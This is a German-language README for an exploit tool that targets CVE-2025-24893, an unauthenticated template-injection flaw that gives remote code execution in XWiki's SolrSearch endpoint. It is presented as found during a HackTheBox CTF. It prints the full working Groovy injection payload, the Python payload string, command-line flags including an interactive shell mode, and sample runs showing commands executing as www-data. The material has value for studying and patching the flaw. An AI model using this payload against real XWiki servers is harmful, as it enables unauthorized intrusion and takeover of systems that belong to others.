
CVE-2025-24893 – XWiki SSTI nicht authentifizierter RCE-Exploit (HackTheBox CTF)
| Feld | Einzelheiten |
|---|
| CVE | CVE-2025-24893 |
| Software | XWiki |
| Sicherheitslücke | Serverseitige Template-Injection (SSTI) → RCE |
| Authentifizierung | Nicht erforderlich |
| CVSS-Wert | Kritisch |
| Kontext | Entdeckt während eines HackTheBox CTF |
XWiki stellt einen SolrSearch-Endpunkt (/xwiki/bin/get/Main/SolrSearch) bereit, der benutzereingegebene Daten ohne Bereinigung durch die Groovy-Template-Engine rendert. Ein nicht authentifizierter Angreifer kann einen Groovy-Ausdruck über den text-Query-Parameter injizieren und so eine Remote-Code-Ausführung auf dem zugrunde liegenden Server erreichen.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
Der text-Parameter wird direkt in einen XWiki-Makro-Kontext eingebettet und von der Groovy-Engine ausgewertet. Die Injektion verlässt den Template-Kontext mit }}} und öffnet einen {{async}}{{groovy}}-Block:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
Die Ausgabe wird im RSS-Antworttext reflektiert und kann per Regex extrahiert werden.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
Die Antwort ist XML/RSS – die Befehlsausgabe erscheint zwischen [}}}- und ]</-Markierungen mit HTML-kodierten Zeichen.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| Flagge | Beschreibung |
|---|---|
-t | Ziel-Hostname oder IP |
-p | Port (Standard: 80) |
-s | HTTPS verwenden |
-i | Interaktiver Shell-Modus |
-c | Einzelbefehlsausführung |
-v | Ausführliche Ausgabe |
# Einzelbefehl
python3 exploit.py -t wiki.target.htb -c "id"
# Interaktive Shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS auf benutzerdefiniertem Port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)